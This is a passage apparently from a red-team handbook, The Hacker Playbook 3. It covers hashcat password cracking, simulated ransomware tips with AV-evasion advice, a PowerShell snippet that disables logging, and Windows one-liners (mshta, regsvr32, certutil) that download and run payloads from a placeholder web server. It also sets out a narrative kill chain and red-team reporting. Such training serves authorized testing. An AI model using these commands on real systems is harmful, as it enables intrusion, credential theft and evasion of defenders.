Recently, Troy Hunt at Have I Been Pwned, released a SHA1 list of password hashes that
n-
is about 5.3 GB compressed. This is a very large list from previous breaches and data
dumps. This is a great lab to test your password-cracking skills:
https://downloads.pwnedpasswords.com/passwords/pwned-passwords-
r
1.0.txt.7z
ea
As these GPUs get faster and faster, passwords under 10 characters can be smart-
bruteforced in a relatively reasonable timeframe. Some of those might be cracked with
l
good password masks, but for the most part, it comes down to password lists. Using
w.
password lists from real breaches is one of the fastest ways to crack passwords larger than
12 characters. Reviewing all the past breaches gives us a good look into how humans
create passwords, common techniques to obfuscate passwords, and favorite words to use.
ww
Using these lists with complex rule sets, allows us to crack passwords (sometimes greater
that 25+ characters) at an immense speed. But remember, your password list is dependent
on how well you build and maintain it. As a Red Teamer, we regularly track all the
accounts we crack, analyze them, and add them to our lists. We also constantly monitor
for new breaches, pastebin/pastie type sites, and more, to find new passwords. A great list
to monitor can be found here: https://inteltechniques.com/OSINT/pastebins.html.
Favorite Password Lists:
berzerk0’s Real-Password-WPA Password List:
18.6 GB Uncompressed
http://bit.ly/2EMs6am
berzerk0’s Dictionary-Style List:
1 GB Uncompressed
http://bit.ly/2GXRNus
m
Xato’s Ten Million Passwords
magnet:?
co
xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB
Hashes.org
https://hashes.org/left.php
a.
Multiple Gigabytes and growing daily
Crackstation
15 GB Uncompressed
ag
https://crackstation.net/files/crackstation.txt.gz
Weakpass
Tons of password lists
rm
https://weakpass.com/wordlist
First20Hours
This repo contains a list of the 10,000 most common English
ba
SkullSecurity.org
Great older lists of passwords such as rockyou, myspace, phpbb
https://wiki.skullsecurity.org/Passwords
ar
mechanicus.com/codex/hashpass/hashpass.php
w.
With a combination of good password lists, we can add rules on top of these lists to find
even more passwords. In terms of Hashcat, rules define if any modifications need be
injected into the wordlist. The best way to describe rules is with this easy-to-follow
ww
om
older breaches, and common password manipulation techniques. These are a great place
to start. Kore Rules come from a password competition by Korelogic and is one of the
other standards out there. Two other rules that definitely take much longer, but have great
.c
detailed rule sets, are NSAKEY and the Hob0Rules. In the past, I would take all the rules,
cat them into a single file, and unique the file. However, now, NotSoSecure actually does
this for you. Rules:
ga
Hashcat Rules
https://github.com/hashcat/hashcat/tree/master/rules
Kore Rules
ma
http://contest-2010.korelogic.com/rules-hashcat.html
NSAKEY Rules (One of my favorite) *Forked
https://github.com/cyberspacekittens/nsa-rules
ar
Praetorian-inc Hob0Rules *Forked
https://github.com/cyberspacekittens/Hob0Rules
NotSoSecure - One Rule to Rule Them All *Forked
-b
https://github.com/cyberspacekittens/password_cracking_rules
n
ar
le
w.
ww
Gotta Crack Em All - Quickly Cracking as Many as You
Can
You have a huge list of passwords from the Cyber Space Kittens compromise. With a
limited amount of time, how can you get the best bang for the buck? The following
walkthrough will guide you through the initial steps we perform to crack as many
om
passwords as we can. Although, we typically only need to find a couple of Domain
Admin/LDAP Admin/Enterprise Admin accounts, my OCD tendencies drive me to try and
crack all the passwords.
.c
Before you start, you really need to understand the password format your hashes. Hashcat
has a great list of example hashes and what they look like here:
ga
http://hashcat.net/wiki/doku.php?id=example_hashes. Once you understand the hash type,
it is always good to do some initial test runs to figure out how fast or slow the password
hashing algorithm is. This will make a huge difference in your password approach. For
ma
example, when looking at Windows hashes, we see that NTLM (Windows) performs about
75,000 MH/s. While a common Linux hash, SHA-256, performs at a rate of about 5,000
MH/s.
ar
This means for a SHA-256 hash, your GPU can guess 5,000,000,000 times a second. This
-b
can seem like a lot, but when you have huge wordlists and large rulesets, it might not be
enough power. This is because the algorithm for SHA-256 is pretty slow and expensive to
compute compared to something like NTLM, which can do 75,000,000,000 Hashes per
second. In our case, we are going all out, because why not? We will be using eight
n
After getting domain admin access, you used your DCSync attack to dump all the hashes
from the domain controller. Your goal now is to try to crack as many hashes as you can.
You know that you will be able to use these accounts in future campaigns and show your
w.
First, we save all the NTLM Windows hashes in a file called cat.txt. To make the output
easier for the reader, we are going to omit the initial hashcat execution commands. Every
command execution will start with “hashcat -w 3 -m 1000 -o hashes.cracked
./hashes/cat.txt”, which states:
hashcat: Run hashcat
-w 3: Using the tuned profile
-m 1000: Hash format is NTLM
-o hashes.cracked: The output of the results into a file
./hashes/cat.txt: Where our hashes are stored
So, whenever you see the [hashcat] string, replace it with the following command:
“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”. Now, let’s crack the NTLM
hashes as quickly and efficiently as we can on our 8 GPU 1080TI rig.
m
Crack all passwords that are 7 characters or less by using the attack mode
co
“brute-force” (-a 3) for any alpha, numeric, or special character (?a) from one
to seven characters in length (—increment).
[hashcat] -a 3 ?a?a?a?a?a?a?a —increment
a.
Total Time is about 5 minutes for 7 characters alpha/num/special.
We can do 8 characters, but we are looking at a 9-hour run.
You can also limit the special characters to a select few (!@#$%^)
to dramatically decrease the time and complexity.
ag
Next, compare all the common password list dumps against our hashes. The
first file (40GB_Unique_File.txt) is a 3.2GB password file, which takes about
9 seconds to run:
rm
[hashcat] ./lists/40GB_Unique_File.txt
As we can see the speed for even the largest files takes a matter of seconds.
To improve efficiency, we can actually use the * operator and compare against
ba
sets on a single password list file. We are going to start with the RockYou
rule set that takes about 2 minutes and 9 seconds for these NTLM hashes:
[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-
ar
30000.rule
Note: The NSAKEY rule set with the 3GB file is about 7 minutes
and “The one rule to rule them all” rule set from NotSoSecure
le
of a password starting with one character all the way up to four characters:
[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a
Note: This takes about 30 minutes to get to four characters
We can also add characters to the left of the password lists. The following
command will add every alpha/num/special character to the left of a
password starting with one character all the way up to four characters:
[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt
Note: This takes about 30 minutes to get to four characters
Hashcat Utils: https://github.com/hashcat/hashcat-utils/releases. Hashcat has
a bunch of tools to help build better password lists. One example is
combinator, which can take two or three different password lists and make
combinations. Using small lists is relatively quick. Taking our shortKrak list
and combining it with itself results in a very fast crack:
./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt
lists/shortKrak.txt > lists/comboshortKrak.txt
m
Taking lists like the top Google 1000 words results in a file that is about 1.4
GB, so you will have to be careful of how large of a file you choose.
co
./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt
lists/google_top_1000.txt > lists/google_top_1000_combo.txt
Note: taking a 4MB file and running combinator will result in a
a.
file that is greater than 25GB of storage. So, be cautious of how
big these files are.
Many times, the passwords people use are not common dictionary words, but
ag
words based on their company, products, or services. We can create custom
password lists using the client websites. Two tools that can assist are:
Brutescrape - https://github.com/cheetz/brutescrape
rm
Burp Word List Extractor -
https://portswigger.net/bappstore/21df56baa03d499c8439018fe075d3d7
Next, take all of your cracked passwords, analyze them, and create masks
using https://thesprawl.org/projects/pack/:
ba
[hashcat] -a 3 ./custom-optindex.hcmask
Take your password lists through Pipal to better understand base words
(https://github.com/digininja/pipal):
le
cd /opt/pipal
./pipal.rb hashes.password
w.
ww
m
co
a.
ag
rm
ba
Looking at this list, you might be able to figure out this company
uses resetme12345 as a default password and could be located in
Michigan (Detroit, tiger, football).
n-
Where do you go from here? There is always great research being done on different
ar
password generation tools, analyses, and other techniques to find faster ways to crack
passwords. Some starting resources:
A Deep Learning Approach for Password Guessing -
le
https://github.com/brannondorsey/PassGAN
Fast, Lean, and Accurate: Modeling Password Guessability Using Neural
Networks - https://www.usenix.org/conference/usenixsecurity16/technical-
w.
sessions/presentation/melicher
ww
Creative Campaigns
Being on an internal Red Team for a corporation provides the opportunity for creative
campaigns. One of my favorite campaigns is to simulate ransomware. In the past, we
have been allowed to run simulated ransomware campaigns during the WannaCry era. As
cryptoware/ransomware is becoming more and more popular, we really need to be able to
test our business recovery/disaster recovery procedures. We all witnessed this in real life
m
with WannaCry, which moved laterally through SMB shares, utilized exploits like
co
EternalBlue, encrypted files, and even deleted all backups on the host system. As an IT
organization, the question we need to ask ourselves is, if one of our users clicked on that
malware, what would have been the impact? Could we have recovered user files, share
files, databases, and more? The answer we hear all the time is, “I think so…”, but without
a.
a Red Team to validate the processes in advance, we end up waiting until after our house
is burnt to the ground to know the true answer.
ag
This is why I love having internal Red Teams for organizations. We can really prove and
validate if security and IT is working, all within a controlled environment. For this THP
rm
book, I did not include any of our examples of ransomware, due to the fact that it is very
risky to do. I will leave it up to you to build the tools and test your clients in an approved
method.
ba
Simulated Ransomware Tips:
n-
Some organizations won’t actually let you delete/encrypt files. For those
companies, you can do a simulated ransomware breach. Once the malware is
executed, all it will do is scan the host/network for important files, read each
ar
file into memory, do a byte for random byte swap, send those bytes to a C2
server, and include metadata. This will demonstrate how many files you were
able to touch, how much data you could exfiltrate out of their network before
le
they detect the traffic, and what files they could recover.
Look at other ransomware samples to see what file types they were
encrypting. This could make for a more realistic campaign. For example,
look at the file types from WannaCry (https://gist.github.com/rain-
w.
1/989428fa5504f378b993ee6efbc0b168).
If you are going to “encrypt” malware, do it with something simple. It could
be a standard AES with a key, a public/private x509 cert, or some sort of
ww
bitwise XOR. The more complicated you make it, the higher the chance of
not being able to recover the files.
Test, test, and test. The worst thing you could do is find out the company
can’t recover critical files and your decryption process does not work.
Many next gen AVs automatically block ransomware based on certain actions
in a chain. For example, a normal detection that ransomware might perform
is: scan the system for all files of type X, encrypt a file, delete the shadow
volume copy, and disable backups. To get around the detection process, try
either slowing this activity down or finding ways to get these same tactics
executed, but through a different processes.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Disabling PS Logging
As Red Teamers, we are always looking for unique ways to try and disable any sort of
logging. Although there are ways to perform these attacks, we still continually search for
new and easy techniques.
m
Here is an example by leechristensen
(https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)
co
that could be used to disable PowerShell logging:
$EtwProvider =
a.
[Ref].Assembly.GetType(‘System.Management.Automation.Tracing.PSEtwLogProvi
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -
ArgumentList @([Guid]::NewGuid());
ag
$EtwProvider.SetValue($null, $EventProvider);
rm
ba
n-
ar
le
w.
ww
Windows Download File from Internet Command Line
If you do get command execution through an application vulnerability or have shell access
through an Office file or PDF, the next steps could be to download and execute your
secondary malware. For those cases, there are Windows “features” we can abuse to get
the job done. Most of these examples come from the great research of arno0x0x and
@subtee (https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-
om
remote-payload-and-execute-arbitrary-code/):
.c
mshta
vbscript:Close(Execute(“GetObject(““script:http://webserver/payload.sct””)”))
mshta http://webserver/payload.hta
ga
rundll32.exe
javascript:”..\mshtml,RunHTMLApplication”;o=GetObject(“script:http://webserver/p
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
ma
certutil -urlcache -split -f http://webserver/payload payload
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
-decode payload.b64 payload.dll &
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile=
r
/LogToConsole=false /u payload.dll
ba
These are just a few examples, but there are plenty more methods of getting your
secondary code execution through a command line. It is up to you to find the other
techniques to hide from traditional logging.
ar
le
w.
ww
Getting System from Local Admin
Getting from a local administrator account to System can be done in a variety of ways.
The most common way, of course, is using Metasploit’s getsystem, but that isn’t always
available. decoder-it (https://github.com/decoder-it/psgetsystem) created an awesome
PowerShell script to go from a Local Administrative PowerShell prompt to System by
creating a new process which sets its parent PID of that new process to be owned by
m
System. This PowerShell can be found here: https://github.com/decoder-it/psgetsystem
co
and executed with the following:
PS> . .\psgetsys.ps1
PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>,
a.
<command_to_execute>)
ag
rm
ba
n-
ar
le
w.
ww
Retrieving NTLM Hashes without Touching LSASS
Elad Shamir performed extensive research and was able to figure out how to grab NTLM
hashes without ever having to touch LSASS. Prior to this attack, touching LSASS to gain
hashes via Mimikatz was limited by Credential Guard in Windows 10 Enterprise and
Windows Server 2016. Elad developed an attack called Internal Monologue Attack, that
does the following:
co
Disable NetNTLMv1 preventive controls by changing LMCompatibilityLevel,
NTLMMinClientSec and RestrictSendingNTLMTraffic to appropriate values, as
described above.
a.
Retrieve all non-network logon tokens from currently running processes and
impersonate the associated users.
For each impersonated user, interact with NTLM SSP locally to elicit a
ag
NetNTLMv1 response to the chosen challenge in the security context of the
impersonated user.
Restore the original values of LMCompatibilityLevel, NTLMMinClientSec and
rm
RestrictSendingNTLMTraffic.
[https://github.com/eladshamir/Internal-Monologue]
ba
n-
ar
le
w.
ww
Building Training Labs and Monitor with Defensive Tools
One of the challenging parts of testing our malware is that we need to set up an
environment for testing very quickly. An awesome tool that Chris Long built called
Detection Lab (https://github.com/clong/DetectionLab) is a collection of Packer and
Vagrant scripts that allows you to quickly bring a Windows Active Directory online. This
tool comes complete with a collection of endpoint security tooling and logging best
om
practices. Detection Lab consists of four total hosts
(https://medium.com/@clong/introducing-detection-lab-61db34bed6ae):
DC: A Windows 2016 domain controller
.c
WEF: A Windows 2016 server that manages Windows Event Collection
Win10: A Windows 10 host simulating a non-server endpoint
Logger: An Ubuntu 16.04 host that runs Splunk and a Fleet server
ga
ma
ar
n -b
ar
le
w.
ww
Conclusion
With Red Teams, tips and tricks are part of our craft. We have to continually research for
better ways to attack users, systems, and evade detection. There is no magic button. It
requires hours to years of practice, sweat, and tears.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
9 two-minute drill - from zero to hero
m
co
a.
ag
rm
ba
n-
lea
w.
ww
With the clock ticking down, it is the last day of testing and you haven’t had much success
from the outside. You feel the pressure mounting as you need to gain access into the
environment, understand their corporate layout, get to sensitive files/code, pivot to
different users and networks, and ultimately break into the classified Cyber Space Kittens
program. Your mission was to steal the new rocket secrets and you cannot fail … It is
time for the two-minute drill. With very little time left on the clock, you need to move the
m
ball from the 10 yard line, break through all the defensive protection, clean your tracks,
and make it down 90 yards to the touchdown zone.
co
10 Yard Line
a.
You go back through all of your notes to figure out what might have been missed. One of
the web scrape screen shots captures your eye … it is a forum website for CSK. You
weren’t able to find any vulnerabilities in the application, but notice that the CSK forum is
ag
used by both employees and public users to post questions, comments, and other things
about their space program. rm
You scrape all of the users you can find on the site that look like they belong to company
accounts. You then pull out your trusty list of passwords. You run a bruteforce attempt on
ba
all these accounts with commonly used passwords and variations. Slowly, you see your
Python script going … failed … failled … failed … password found! You laugh as you
see that one of the users, Chris Catfield, used the password “Summer2018!”. That was
n-
just too easy you think to yourself. Next, you log into the forum as Chris, read through all
his private messages and posts to figure out the best method to get your initial foothold.
You see that Chris regularly talks to another internal employee on the forum, Neil
ar
Pawstrong, about the space program. It looks like they are not really friends, but have a
good working relationship. This is good as it will make the next phish a trusted attack.
Using Chris’ account, we already have the rapport between the two users and the
le
You debate whether or not you should send Neil a custom malware payload, as that might
be too obvious. Instead, you send a link to a cat photo webpage that you have stood up
ww
with the message, “Hey Neil, I know you love cats! Check out this page I made!”
m
co
a.
A few minutes later, you get a message back on the forum site from Neil that says, “LOL,
ag
I love space cats!” Little did Neil realize that the webpage he visited had a custom
JavaScript payload that ran code on his machine to scan his internal CSK network and
compromise unauthenticated Jenkins and Tomcat webservers. Within a few seconds, you
rm
start to get Empire payloads back and let out a sigh of relief.
30 Yard Line
ba
As your senses tingle, you know it is only a matter of time before the Blue Team starts
putting in firewall/DNS/host blocks, so you have to move quickly. Fortunately, you have
n-
already set up the automation to do a lot of the dirty work. The compromised host beacon
activates and starts to run tools like Bloodhound, look for local passwords, set the registry
bit to capture Mimikatz LSASS passwords, run SPN and dump all Kerberos tickets, and of
course set up persistence in scheduled tasks.
ar
40 Yard Line
le
You know that you need to move quickly off this initial box. You take all the Kerberos
tickets and dump them into Hashcat to start cracking. It’s a good thing you found those
extra bug bounties to buy a couple of 1080TI GPUs. As they start cracking, you see some
w.
service account passwords popping up, but you don’t have time for those yet. You review
the Bloodhound output and realize that the compromised box belongs to Neil Pawstrong
and that his AD account has access to Buzz Clawdrin’s box. Using WMI, you remotely
ww
spawn another payload onto his system and migrate into a process owned by Buzz.
m
co
a.
ag
50 Yard Line rm
Luckily for you, you are a local administrator on Buzz’s box as well, which means they
must do a lot of joint work. Using the Bloodhound output, you traverse through the
network to the CSK-LAB box, but realize that you don’t have a local administrative
ba
account on this system. No worries, you load up the PowerUp PowerShell script and look
for misconfigurations on that system which could allow you to get to local admin. Just as
you thought, there are a ton of unquoted paths for service binaries and you have the ability
n-
to write your own payload there. You quickly create a new malicious binary that can now
be triggered by the local system service.
ar
60 Yard Line
You get a new Cobalt Strike payload on your secondary C2 box, which allows you to
le
maintain access even if they find parts of your campaign. Taking this new connection as
System, you pillage through the box and find numerous credentials in text files, stored in
browsers, configured in WinSCP, and more. This shared box is a gold mine and has
connectivity to multiple servers and databases. You notice that this machine is on a
w.
different VLAN. It looks like this system has access to multiple systems in this network
that Neil couldn’t see before. You run through your commands again, running
Bloodhound to understand what systems you see. You notice that many of these systems
ww
behind this network do not have access to the internet, so you can’t run HTTP beacons.
However, since you are using Cobalt Strike (https://www.cobaltstrike.com/help-smb-
beacon), you know it has a great feature that tunnels your compromised systems through
named pipes (SMB). This means that any additional systems that are compromised in the
lab network VLAN, will route through the CSK-LAB box to get out to the internet.
Additionally, from running systeminfo and grabbing Windows Patch levels, you notice
that these boxes, which are all part of this semi-isolated network, aren’t getting updates. It
looks like the client machines are all running Windows 7 and haven’t been patched for
EternalBlue.
70 Yard Line
Through the CSK-LAB box, you use your modified EternalBlue exploit to spawn SMB
beacon payloads on numerous Windows 7 systems in the lab network. With all the new
shells, you start pillaging them for information. You notice that one of the systems has
active connections to a remote Microsoft SQL server named Restricted. You try all of the
accounts on the lab network, but none of the usernames and passwords work for this
m
database. Stumped, you go back through all of your notes and realize … you forgot about
co
your Kerberos tickets! You SSH into your cracking box, review the output, and find the
ticket linked to the Restricted database. A huge wave of relief passes over you as you find
the password to that service account!
a.
80 Yard Line
ag
You log into the Restricted DB and dump the whole database. You are tempted to read it
right on the spot, but you know time is limited. You use some of your PowerShell-fu to
compress and encrypt the dump, then slowly exfiltrate between the different compromised
rm
systems, and finally move it off their network onto your C2 server.
You did it, you tell yourself, but as you slowly fall out of the happy dance zone, you
ba
realize there is still work left to be done. You go back to your different Bloodhound
dumps and notice the path through Purri Gagarin’s machine, who is part of the HelpDesk
group. Awesome—we will be able to use this to Remote Connect either to a Domain
n-
Admin’s box or through Windows ACE, then we can reset the password of a Domain
Admin to a password of our choice. We go ahead and reset the password of the Domain
Admin, Elon Muskkat, and spawn a new payload as a full DOMAIN ADMIN!
ar
90 Yard Line
le
The last thing we need to do is dump all the hashes from the domain controller, set up
additional backdoors, and leave our calling card. Instead of using the loud method
(Shadow Volume Copy) to get all the domain hashes, you run Mimikatz’s DCSync to pull
w.
all the user hashes, including the krbtgt ticket. We now have the golden ticket! If we ever
decide to come back into the network, we can create our own Kerberos tickets and move
straight back to Domain Admin.
ww
To continue with more backdoors, we spread all of our techniques on different boxes. We
set sticky keys on one of the user systems; use backdoorfactory techniques to hide our
malware in common binaries on another system;. set a scheduled task to run once a week
to connect back to one of our subdomains; take one of the segmented lab boxes and
replace a useless running service with a dnscat binary; and drop a couple of payloads in
different systems’ startup folders.
Luckily for us (but unlucky for them), we haven’t been caught yet. However, remember
the purpose of the Red Team assessment is to see how quickly they can identify malicious
activity (which they didn’t), and how quickly they perform IR/forensics and mitigate all
the activity. So, in your last ditch attempt to trigger the Blue Team, you run
https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-
RickAstley.ps1, enjoy a good laugh, and close your laptop. Mission accomplished.
co
Touchdown!
a.
ag
rm
ba
n-
ar
le
w.
ww
10 post game analysis - reporting
m
co
a.
ag
rm
ba
rn-
ea
l
w.
ww
In the prior THP books, we had examples on how to write penetration test reports and
provided numerous sample templates. These are great for the standard week style
penetration test engagements, but do not translate as well for Red Team campaigns. As
stated throughout the book, the main focus for Red Teams is not to identify vulnerabilities
per se (although usually part of the campaign), but to test the people, the tools, the
processes, and the skillsets of your employees. If your company was attacked and
om
successfully compromised by an actor set or bad guy, what type of grade would you give
yourself? I have always been against using gap assessment scores, ISO scores, maturity
model scores, standard risk analysis, heat graphs, and similar type reports to give a real-
.c
world view of your company’s security program.
ga
Personally, I love to see when companies implement controls from prior Red Team
campaigns to test if progress is really being made. For example, for a phishing campaign
using similar doppelganger style domains, we have seen companies enable some of the
following:
ma
Alert on Domains similar to their company using DNStwist
A trusted list of external email domains. Anything external that does not
ar
match will append a header to those emails visible to your end user, saying
that it is an external (non-company), non-approved email source. This will
help your users identify phishing easier.
-b
Any links in emails that come from domains that are uncategorized in the
proxy should, at a minimum, have a click through and alert the user that it is
uncategorized.
Disallowing Office Macro Attachments, forcing protected view, and
n
sandboxing documents.
ar
This is just a small number of easy things a company could implement that could stop an
le
attack.
Remember, Red Teamers only need to find one hole to potentially compromise an
w.
environment. But, at the same time, Blue Teamers need to only identify one of the TTPs
(Tactics, Techniques, and Procedures) of an attacker to potentially stop a compromise.
Therefore, the question now becomes, if one of these TTPs does alert from your toolset,
ww
om
an easy way to track the activity.
.c
ga
ma
ar
-b
Once a campaign is finished, we take all of our notes and combine it to build a Red Team
ar
report that tells a story. The main components in a Red Team Report may include:
Introduction/Scope: This section needs to clearly state the goals of the
campaign. For example, we have had customers ask us to get to specific
le
data, get to domain admin, get PII, get IP, or find a flag on a server in their
production network.
Indicators: It is extremely helpful for IR/Forensics teams to go backwards
w.
om
.c
Time To Detect (TTD)/Time To Mitigate (TTM): This is usually where we
ga
can work with the Blue Team report to build statistics on TTD/TTM.
Together, we want to identify how much time it took for the teams to discover
each of the multiple intrusions; how much time passed, if any, before a
ma
scanning event triggered an investigation; and how much time it took for the
Blue Team to identify the phishing campaigns. The second part should
discuss statistics regarding the amount of time that passed before actions were
ar
taken. If there were C2 communications that were alerted on or phishing that
was identified, how long before the domains were blocked on the firewall or
DNS servers? We often see where companies might be good at blocking
-b
domains, but quickly fail when the C2 servers communicate over IP (or vice
versa). We want to make sure we track this activity and identify it for our
customers. Another great TTM measurement is how quickly they can isolate
n
went from a defensive perspective. What I am looking for is if they felt like
they followed policy, if the incident lead person drove the investigations, if
management got too involved, how security interacted with IT to make any
w.
IT-related changes (firewall blocks, DNS modifications, and so on), and who
panicked or stayed too calm.
As mentioned previously, the purpose of Red Teams is not about finding
ww
m
to the security community. This is the best way to really test your skills and up your
game.
co
Some ideas that could help:
a.
Set up a blog and your own Github account: You should be writing about
all of your adventures and learnings. Although, you are sharing it with the
world, it is really more for your own growth. Having to blog about the things
ag
you are learning will help you improve your writing, better explain
vulnerabilities/exploits in an easy-to-understand fashion, and ensure you
know the content well enough to explain it to the world.
rm
Your resume should be your Github account: I always tell my students
that your Github account (or blog) should be able to stand on its own.
Whether it is just numerous small security projects, such as making tools
ba
more efficient and effective, or your own security project, your work should
speak volumes on Github.
Speaking at local conferences: Speaking can be extremely daunting, but it
n-
puts you in leagues above other people if you have it on your resume. Where
can you find places to speak? I would start at your local meetups
(meetup.com) and find groups to get involved with. They are usually small
and everyone is generally pretty friendly. If you are in the southern
ar
only can you make decent money, but you can also legally hack their sites
(staying within the scope of their program, of course).
Capture The Flag Competitions: I know it is hard to find time to do all of
ww
these things, but I always tell my students that security is not a job—it is a
lifestyle. Go on CTFTime.org, pick a few CTFs throughout the year, block
off those weekends, and hack away. Trust me, you will learn more in a CTF
weekend than any class can teach you.
Get with your friends and build out a lab: It is hard to practice realistic
scenarios without having a test lab that replicates a corporate environment.
Without this test environment, you won’t really understand what is happening
behind the scenes when running all the offensive tools. Therefore, it is
imperative to build a full lab with VLANs, Active Directory, servers, GPOs,
users and computers, Linux environments, Puppet, Jenkins, and all the other
common tools that you might see.
Learn from the bad guys: For Red Teams, this is one of the most important
factors. Our campaigns should not be theoretical, but a replication of another
real attack. Keep your eyes open for the latest APT reports and make sure to
understand how the adversaries are changing their attacks.
Subscribe to The Hacker Playbook: To keep up with the latest THP news,
m
please subscribe here: http://thehackerplaybook.com/subscribe/.
Training: If you are looking for some training, check us out at
co
http://thehackerplaybook.com/training/.
a.
ag
rm
ba
n-
ar
le
w.
ww
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
about the author
om
.c
ga
ma
Peter Kim has been in the information security industry for more than 14 years and has
been running Penetration Testing/Red Teams for more than 12 years. He has worked for
ar
multiple utility companies, Fortune 1000 entertainment companies, government agencies,
and large financial organizations. Although he is most well-known for The Hacker
Playbook series, his passions are building a safe security community, mentoring students,
-b
and training others. He founded and maintains one of Southern California’s largest
technical security clubs called LETHAL (www.meetup.com/LETHAL), performs private
training at his warehouse LETHAL Security (lethalsecurity.com), and runs a boutique
n
Peter’s main goal with The Hacker Playbook series is to instill passion into his readers and
get them to think outside the box. With the ever-changing environment of security, he
le
Twitter: @hackerplaybook
special thanks
Contributors
Walter Pearce
m
Bill Eyler
co
Michael Lim
Brett Buerhaus
a.
Tom Gadola
Kristen Kim
ag
Ann Le
Kevin Bang
rm
Tony Dow
ba
Special Thanks
n-
Mark Adams
SpecterOps
ar
@harmj0y
Matt Graeber (@mattifestation)
Matt Nelson (@enigma0x3)
Ruben Boonen (@FuzzySec)
Ben Campbell (@Meatballs__)
Andrew Robbins (@_wald0)
Raphael Mudge (@rsmudge)
Daniel Miessler (@DanielMiessler)
Gianni Amato (guelfoweb)
Ahmed Aboul-Ela (aboul3la)
Lee Baird (leebaird)
m
Dylan Ayrey (dxa4481)
co
Rapid7 (@rapid7)
Will Schroeder (@harmj0y)
Ron Bowes (@iagox86)
a.
SensePost
Sekirkity
ag
Byt3bl33d3r
Karim Shoair (D4Vinci)
rm
Chris Truncer
Anshuman Bhartiya
ba
OJ Reeves
Ben Sadeghipour (@nahamsec)
n-
blechschmidt
Jamieson O’Reilly
le
Cn33liz
Swissky (Swisskyrepo)
ww
m
SpiderLabs
co
H.D. Moore
TheRook
Ahmed Aboul-Ela (aboul3la)
a.
Emilio (epinna)
Dylan Ayrey (dxa4481)
ag
George Chatzisofroniou (sophron)
Derv (derv82)
rm
Garrett Gee
HackerWarehouse
ba
LETHAL
n00py
n-
ar
le
w.
ww